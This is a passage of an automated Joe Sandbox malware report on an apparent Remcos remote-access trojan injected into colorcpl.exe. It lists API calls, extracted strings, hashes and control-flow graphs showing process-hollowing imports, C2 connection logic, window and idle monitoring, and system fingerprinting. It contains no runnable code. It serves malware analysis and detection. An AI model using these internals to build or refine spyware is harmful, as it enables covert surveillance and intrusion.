                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                    • String ID: 3.8.0 Pro$override$pth_unenc
                                                                                    • API String ID: 2281282204-3177840460
                                                                                    • Opcode ID: 6415b1d2e4fad534db06a96964b6bdd07b1840e0b81a2efcab8d10c36fb52df3
                                                                                    • Instruction ID: 349bdabf984a8a4f3ebdb5dc6bbb9243fdf148f06146e44108f661acdb9d7766
                                                                                    • Opcode Fuzzy Hash: 6415b1d2e4fad534db06a96964b6bdd07b1840e0b81a2efcab8d10c36fb52df3
                                                                                    • Instruction Fuzzy Hash: 18212C7CB4031067E708B2BC4C1AA6E369F9B51710F400418FD1AD73C8EEB58A498BE3
                                                                                    Function 028415EC Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,02841274,00000034,?,?,25F2F5C8), ref: 028415FE
                                                                                    • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,02841307,00000000,?,00000000), ref: 02841614
                                                                                    • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,02841307,00000000,?,00000000,0282C006), ref: 02841626
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Crypt$Context$AcquireRandomRelease
                                                                                    • String ID:
                                                                                    • API String ID: 1815803762-0
                                                                                    • Opcode ID: aac005b669d429de8bab860a186b4127eb0468a0748168033cf513d2fa87d81b
                                                                                    • Instruction ID: c059b32d97858d13f22d0f770158759c2e6d537c3e7317f4a06c8f2f31e12969
                                                                                    • Opcode Fuzzy Hash: aac005b669d429de8bab860a186b4127eb0468a0748168033cf513d2fa87d81b
                                                                                    • Instruction Fuzzy Hash: 48E0923D34C264BBEB305E11AC0CF163E99EB85B61F240A38F119E40D4EA5184908559
                                                                                    Function 028295F8 Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetComputerNameExW.KERNEL32(00000001,?,00000037,02881FFC), ref: 02829615
                                                                                    • GetUserNameW.ADVAPI32(?,00000010), ref: 0282962D
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Name$ComputerUser
                                                                                    • String ID:
                                                                                    • API String ID: 4229901323-0
                                                                                    • Opcode ID: ab93069d27203a9588ec34cf26c153c39333fd07992b2f57a4cfd2aff1810b8f
                                                                                    • Instruction ID: b1b5134fe4fd9b206c4a5e0764e667debad9abaed18b26fb904a231680f50e3f
                                                                                    • Opcode Fuzzy Hash: ab93069d27203a9588ec34cf26c153c39333fd07992b2f57a4cfd2aff1810b8f
                                                                                    • Instruction Fuzzy Hash: FC014F7A90011CABDB04EBD4DC48DDDB7BDAF04310F000166E505F2294EEB46A898BA5
                                                                                    Function 0281E2BB Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,02823F34,02881E78,02882910,02881E78,00000000,02881E78,00000000,02881E78,3.8.0 Pro), ref: 0281E2CF
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID:
                                                                                    • API String ID: 2299586839-0
                                                                                    • Opcode ID: 5f1e41d025fc612f09aa51b2e37aa80dc46e17b51e770ca705eab9b6f566542d
                                                                                    • Instruction ID: 15bbf261b7df6612752b1b15176d27da740bb11dc199b64cd783bd090398292a
                                                                                    • Opcode Fuzzy Hash: 5f1e41d025fc612f09aa51b2e37aa80dc46e17b51e770ca705eab9b6f566542d
                                                                                    • Instruction Fuzzy Hash: C0D05B34B4412C77E51096859C0AEAA779DD701751F000155BD04D72C0E9E15E048BD2
                                                                                    Function 0282A8DA Relevance: 105.1, APIs: 36, Strings: 24, Instructions: 130libraryloaderCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExA,?,?,?,?,0281D40C), ref: 0282A8EF
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A8F8
                                                                                    • GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExA,?,?,?,?,0281D40C), ref: 0282A90F
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A912
                                                                                    • LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExW,?,?,?,?,0281D40C), ref: 0282A924
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A927
                                                                                    • GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExW,?,?,?,?,0281D40C), ref: 0282A93D
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A940
                                                                                    • GetModuleHandleA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0281D40C), ref: 0282A951
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A954
                                                                                    • GetModuleHandleA.KERNEL32(user32,SetProcessDpiAware,?,?,?,?,0281D40C), ref: 0282A969
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A96C
                                                                                    • LoadLibraryA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,?,?,?,0281D40C), ref: 0282A97D
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A980
                                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,?,?,?,?,0281D40C), ref: 0282A98C
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A98F
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0281D40C), ref: 0282A9A1
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9A4
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0281D40C), ref: 0282A9B1
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9B4
                                                                                    • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0281D40C), ref: 0282A9C5
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9C8
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0281D40C), ref: 0282A9D5
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9D8
                                                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0281D40C), ref: 0282A9EA
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9ED
                                                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0281D40C), ref: 0282A9FA
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282A9FD
                                                                                    • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0281D40C), ref: 0282AA0A
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282AA0D
                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemTimes,?,?,?,?,0281D40C), ref: 0282AA1F
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282AA22
                                                                                    • LoadLibraryA.KERNEL32(Shlwapi.dll,0000000C,?,?,?,?,0281D40C), ref: 0282AA30
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282AA33
                                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,GetConsoleWindow,?,?,?,?,0281D40C), ref: 0282AA40
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0282AA43
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleModule$LibraryLoad
                                                                                    • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetModuleFileNameExA$GetModuleFileNameExW$GetMonitorInfoW$GetSystemTimes$GlobalMemoryStatusEx$IsUserAnAdmin$IsWow64Process$Kernel32.dll$NtUnmapViewOfSection$Psapi.dll$SetProcessDEPPolicy$SetProcessDpiAware$SetProcessDpiAwareness$Shell32$Shlwapi.dll$kernel32$kernel32.dll$ntdll.dll$shcore$user32
                                                                                    • API String ID: 551388010-2474455403
                                                                                    • Opcode ID: c94e530ab077b714fb519a49d6133a964f0190c53cc1fc71127cace1f6af2632
                                                                                    • Instruction ID: 516037b913f24cfdf659edd529da35860b3eaffc9eac607aca3424989e39b711
                                                                                    • Opcode Fuzzy Hash: c94e530ab077b714fb519a49d6133a964f0190c53cc1fc71127cace1f6af2632
                                                                                    • Instruction Fuzzy Hash: DE310FACE8035C7AFA107BBA9C4DE5B7FACDA40A957010816F50AD3641EEBCD421CE74
                                                                                    Function 0281D3F0 Relevance: 51.5, APIs: 17, Strings: 12, Instructions: 774COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 7 281d3f0-281d45f call 282a8da call 281dd83 call 28120d6 * 2 call 2829d87 call 281e563 call 2811e6d call 284a300 24 281d461-281d4b5 call 281e609 call 2811e45 call 2811f8b call 281f98d call 281e5ba call 281dd70 call 2811fb8 7->24 25 281d4b8-281d57f call 2811e45 call 2811f8b call 2811e45 call 28152fe call 2818209 call 2811fc2 call 2811fb8 * 2 call 2811e45 call 2811fa0 call 2815a86 call 2811e45 call 28151c3 call 2811e45 call 28151c3 7->25 70 281d581-281d5c9 call 281822a call 2811fc2 call 2811fb8 call 2811f8b call 2821f34 25->70 71 281d5cf-281d5ea call 2811e45 call 281fbab 25->71 70->71 105 281dd0f-281dd27 call 2811f8b call 282239a call 2820eda 70->105 81 281d656-281d679 call 2811f8b CreateMutexA GetLastError 71->81 82 281d5ec-281d60d call 2811e45 call 2811f8b OpenMutexA 71->82 90 281d991-281d99a call 2811fb8 81->90 91 281d67f-281d686 81->91 98 281d622-281d63f call 2811f8b call 2821f34 82->98 99 281d60f-281d61c WaitForSingleObject CloseHandle 82->99 109 281d9a1-281da01 call 2844c30 call 281245c call 2811f8b * 2 call 28220e8 call 2818093 90->109 94 281d688 91->94 95 281d68a-281d6a7 GetModuleFileNameW call 28292ae 91->95 94->95 107 281d6b0-281d6b4 95->107 108 281d6a9-281d6ab 95->108 124 281d651 98->124 125 281d641-281d650 call 2811f8b call 282239a 98->125 99->98 134 281dd2c 105->134 113 281d717-281d72a call 2811e45 call 2811f8b 107->113 114 281d6b6-281d6c9 call 2811e45 call 2811f8b 107->114 108->107 175 281da06-281da5f call 2811e45 call 2811f8b call 2812073 call 2811f8b call 282215f call 2811e45 call 2811f8b call 2849867 109->175 141 281d731-281d7ad call 2811e45 call 2811f8b call 2818093 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b 113->141 142 281d72c call 281e501 113->142 114->113 139 281d6cb-281d6d1 114->139 124->81 125->124 140 281dd31-281dd65 call 2812073 call 28152dd call 2812073 call 28294da call 2811fb8 134->140 139->113 145 281d6d3-281d6d9 139->145 189 281dd6a-281dd6f call 2823980 140->189 217 281d815-281d819 141->217 218 281d7af-281d7c8 call 2811e45 call 2811f8b call 2849891 141->218 142->141 151 281d6f7-281d710 call 2811f8b call 2821eea 145->151 152 281d6db-281d6ee call 28160ea 145->152 151->113 178 281d712 call 28166a6 151->178 152->113 166 281d6f0-281d6f5 call 28167a0 152->166 166->113 221 281da61-281da63 175->221 222 281da65-281da67 175->222 178->113 217->109 220 281d81f-281d826 217->220 218->217 249 281d7ca-281d810 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 281c5ed call 2811ef3 call 2811ee9 218->249 224 281d8a7-281d8b1 call 2818093 220->224 225 281d828-281d8a5 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 281b871 220->225 226 281da6b-281da7c call 282aa4f CreateThread 221->226 227 281da69 222->227 228 281da7e-281db48 call 2812073 * 2 call 28294da call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2849867 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2818f1f call 2811e45 call 2811f8b 222->228 234 281d8b6-281d8de call 281245c call 284254d 224->234 225->234 226->228 227->226 349 281db83-281db9a call 2811e45 call 2811f8b 228->349 350 281db4a-281db81 call 284229f call 2811e45 call 2811f8b CreateThread 228->350 255 281d8f0 234->255 256 281d8e0-281d8ee call 2844c30 234->256 249->217 262 281d8f2-281d93d call 2811ee4 call 284a796 call 281245c call 2811f8b call 281245c call 2811f8b call 2822338 255->262 256->262 317 281d942-281d967 call 2842556 call 2811e45 call 281fbab 262->317 317->175 332 281d96d-281d98c call 2811e45 call 2829bca call 281de34 317->332 332->175 346 281d98e-281d990 332->346 346->90 359 281dbd9-281dbeb call 2811e45 call 2811f8b 349->359 360 281db9c-281dbd4 call 284229f call 2811e45 call 2811f8b CreateThread 349->360 350->349 372 281dbed-281dc47 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 281c5a1 call 2811ef3 call 2811ee9 CreateThread 359->372 373 281dc4c-281dc5e call 2811e45 call 2811f8b 359->373 360->359 372->373 383 281dc60-281dc94 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2849867 call 281b0a3 373->383 384 281dc99-281dcbf call 28295f8 call 2811ef3 call 2811ee9 373->384 383->384 404 281dcc1-281dcc2 SetProcessDEPPolicy 384->404 405 281dcc4-281dcd7 CreateThread 384->405 404->405 408 281dce5-281dcec 405->408 409 281dcd9-281dce3 CreateThread 405->409 412 281dcfa-281dd01 408->412 413 281dcee-281dcf8 CreateThread 408->413 409->408 412->134 416 281dd03-281dd06 412->416 413->412 416->189 418 281dd08-281dd0d 416->418 418->140
                                                                                    APIs
                                                                                      • Part of subcall function 0282A8DA: LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExA,?,?,?,?,0281D40C), ref: 0282A8EF
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A8F8
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExA,?,?,?,?,0281D40C), ref: 0282A90F
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A912
                                                                                      • Part of subcall function 0282A8DA: LoadLibraryA.KERNEL32(Psapi.dll,GetModuleFileNameExW,?,?,?,?,0281D40C), ref: 0282A924
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A927
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(Kernel32.dll,GetModuleFileNameExW,?,?,?,?,0281D40C), ref: 0282A93D
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A940
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0281D40C), ref: 0282A951
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A954
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(user32,SetProcessDpiAware,?,?,?,?,0281D40C), ref: 0282A969
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A96C
                                                                                      • Part of subcall function 0282A8DA: LoadLibraryA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,?,?,?,0281D40C), ref: 0282A97D
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A980
                                                                                      • Part of subcall function 0282A8DA: LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,?,?,?,?,0281D40C), ref: 0282A98C
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A98F
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0281D40C), ref: 0282A9A1
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9A4
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0281D40C), ref: 0282A9B1
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9B4
                                                                                      • Part of subcall function 0282A8DA: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0281D40C), ref: 0282A9C5
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9C8
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0281D40C), ref: 0282A9D5
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9D8
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0281D40C), ref: 0282A9EA
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9ED
                                                                                      • Part of subcall function 0282A8DA: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0281D40C), ref: 0282A9FA
                                                                                      • Part of subcall function 0282A8DA: GetProcAddress.KERNEL32(00000000), ref: 0282A9FD
                                                                                    • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 0281D603
                                                                                      • Part of subcall function 0281F98D: __EH_prolog.LIBCMT ref: 0281F992
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleModule$LibraryLoad$H_prologMutexOpen
                                                                                    • String ID: Access Level: $Administrator$C:\Windows\SysWOW64\colorcpl.exe$Exe$Inj$Remcos Agent initialized$Software\$User$exepath$licence$license_code.txt$origmsc
                                                                                    • API String ID: 1529173511-3534803471
                                                                                    • Opcode ID: ab5414ef3c8245ab739c90d38aeb60ea0bd7252368627749be8f85871b3bce49
                                                                                    • Instruction ID: 9b8d5aa89f20d2b63001928e1cf12e328ed19a6b33b4d9679e450a07c09f25a4
                                                                                    • Opcode Fuzzy Hash: ab5414ef3c8245ab739c90d38aeb60ea0bd7252368627749be8f85871b3bce49
                                                                                    • Instruction Fuzzy Hash: B522C46CB442546BEA1577BC5C6DF3E269F9F81700F040829E74ADBAC0DFA48D498B63
                                                                                    Function 02823980 Relevance: 32.3, APIs: 5, Strings: 13, Instructions: 785sleepnetworkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 420 2823980-28239c8 call 28120bf call 2829894 call 28120bf call 2811e45 call 2811f8b call 2849867 433 28239d7-2823a23 call 2812073 call 2811e45 call 28120d6 call 2829d87 call 281487e call 2811e45 call 281fbab 420->433 434 28239ca-28239d1 Sleep 420->434 449 2823a97-2823b32 call 2812073 call 2811e45 call 28120d6 call 2829d87 call 2811e45 * 2 call 281822a call 2812ef0 call 2811fc2 call 2811fb8 * 2 call 2811e45 call 2815ae5 433->449 450 2823a25-2823a94 call 2811e45 call 281245c call 2811e45 call 2811f8b call 2811e45 call 281245c call 2811e45 call 2811f8b call 2811e45 call 281245c call 2811e45 call 2811f8b call 281471d 433->450 434->433 503 2823b42-2823b49 449->503 504 2823b34-2823b40 449->504 450->449 505 2823b4e-2823be0 call 2815a86 call 28152fe call 2818209 call 2812ef0 call 2812073 call 28294da call 2811fb8 * 2 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 282393f 503->505 504->505 532 2823be2-2823c26 WSAGetLastError call 282a86b call 28152dd call 2812073 call 28294da call 2811fb8 505->532 533 2823c2b-2823c39 call 281480d 505->533 555 2824493-28244a5 call 2814e06 call 28121da 532->555 539 2823c66-2823c7b call 2814f31 call 28148a8 533->539 540 2823c3b-2823c61 call 2812073 * 2 call 28294da 533->540 539->555 556 2823c81-2823dd4 call 2811e45 * 2 call 28152fe call 2818209 call 2812ef0 call 2818209 call 2812ef0 call 2812073 call 28294da call 2811fb8 * 4 call 28297c1 call 2823013 call 2818098 call 284f34f call 2811e45 call 28120d6 call 281245c call 2811f8b * 2 call 28220e8 539->556 540->555 569 28244a7-28244c7 call 2811e45 call 2811f8b call 2849867 Sleep 555->569 570 28244cd-28244d5 call 2811e6d 555->570 620 2823dd6-2823de3 call 2815a86 556->620 621 2823de8-2823e0f call 2811f8b call 2821f91 556->621 569->570 570->449 620->621 627 2823e11-2823e13 621->627 628 2823e16-28243fa call 281415e call 2829c8a call 2829b16 call 2811e45 GetTickCount call 2829b16 call 2829ac6 call 2829b16 call 2829a77 call 2829c8a * 5 call 281e2bb call 2829c8a call 2812f11 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 * 3 call 2812e81 call 2812ef0 call 2818209 call 2812ef0 call 2818209 call 2812ef0 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 call 281826c call 2812ef0 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 call 2818209 call 2812ef0 * 5 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 * 6 call 2814a81 call 2811fb8 * 48 call 2811ee9 call 2811fb8 * 4 call 2811ee9 call 2814bf0 621->628 627->628 855 28243ff-2824406 628->855 856 282441a-2824421 855->856 857 2824408-282440f 855->857 859 2824423-2824428 call 2819f9a 856->859 860 282442d-282445f call 2815a4b call 2812073 * 2 call 28294da 856->860 857->856 858 2824411-2824413 857->858 858->856 859->860 871 2824473-282448e call 2811fb8 * 2 call 2811ee9 860->871 872 2824461-282446d CreateThread 860->872 871->555 872->871
                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00000000,00000029,74DF0F10,02881FFC,00000000), ref: 028239D1
                                                                                    • WSAGetLastError.WS2_32(00000000,00000001), ref: 02823BE2
                                                                                    • Sleep.KERNEL32(00000000,00000002), ref: 028244C7
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep$ErrorLastLocalTime
                                                                                    • String ID: | $%I64u$3.8.0 Pro$C:\Windows\SysWOW64\colorcpl.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$TLS Off$TLS On $hlight$name
                                                                                    • API String ID: 524882891-3810641973
                                                                                    • Opcode ID: 7faf1ddbe77ec2b35c8f068853c7afa621f558231150faa8687eec73f4398c8d
                                                                                    • Instruction ID: 40686d2c7210cdbbce88cdbb323a7d4ece11bd583b2b02055b82d00278c8d7c7
                                                                                    • Opcode Fuzzy Hash: 7faf1ddbe77ec2b35c8f068853c7afa621f558231150faa8687eec73f4398c8d
                                                                                    • Instruction Fuzzy Hash: AD429C3DA001245ADB18F768EC65AEEB36F9F90300F2041A9D50AE75D5EF305F8ACE56
                                                                                    Function 02819C1F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • __Init_thread_footer.LIBCMT ref: 02819C81
                                                                                    • Sleep.KERNEL32(000001F4), ref: 02819C8C
                                                                                    • GetForegroundWindow.USER32 ref: 02819C92
                                                                                    • GetWindowTextLengthW.USER32(00000000), ref: 02819C9B
                                                                                    • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 02819CCF
                                                                                    • Sleep.KERNEL32(000003E8), ref: 02819D9D
                                                                                      • Part of subcall function 0281962E: SetEvent.KERNEL32(?,?,?,0281A77B,?,?,?,?,?,00000000), ref: 0281965A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                    • String ID: [${ User has been idle for $ minutes }$]
                                                                                    • API String ID: 911427763-3954389425
                                                                                    • Opcode ID: 7019b96e48ff10818614df8e6410af756ca8d26722390da95f21197343c2a0aa
                                                                                    • Instruction ID: 28dca8bd8a3043b9e422d2a0e151abbb80819e79652ba99d4c7a8e854caf947b
                                                                                    • Opcode Fuzzy Hash: 7019b96e48ff10818614df8e6410af756ca8d26722390da95f21197343c2a0aa
                                                                                    • Instruction Fuzzy Hash: 1151C27D6042409BD314FB78D868A6EB7AEAF84304F04095DE58AC62D0EF74E949CB93
                                                                                    Function 0281C5ED Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0281C753
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LongNamePath
                                                                                    • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                    • API String ID: 82841172-425784914
                                                                                    • Opcode ID: 369b980cd2183e3a3656f5862ffea8340c0b765d35fc342b629813a28fee1cb4
                                                                                    • Instruction ID: 1056581eb9d15df47a0653117ab4b9811a476280dd554a86f337d7708efdb4be
                                                                                    • Opcode Fuzzy Hash: 369b980cd2183e3a3656f5862ffea8340c0b765d35fc342b629813a28fee1cb4
                                                                                    • Instruction Fuzzy Hash: 5B41843D1482459BE204F7A8DC55CAFB7EEAEA0750F00091EF54AD25E0EFA0D949CE53
                                                                                    Function 028244DA Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 510COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
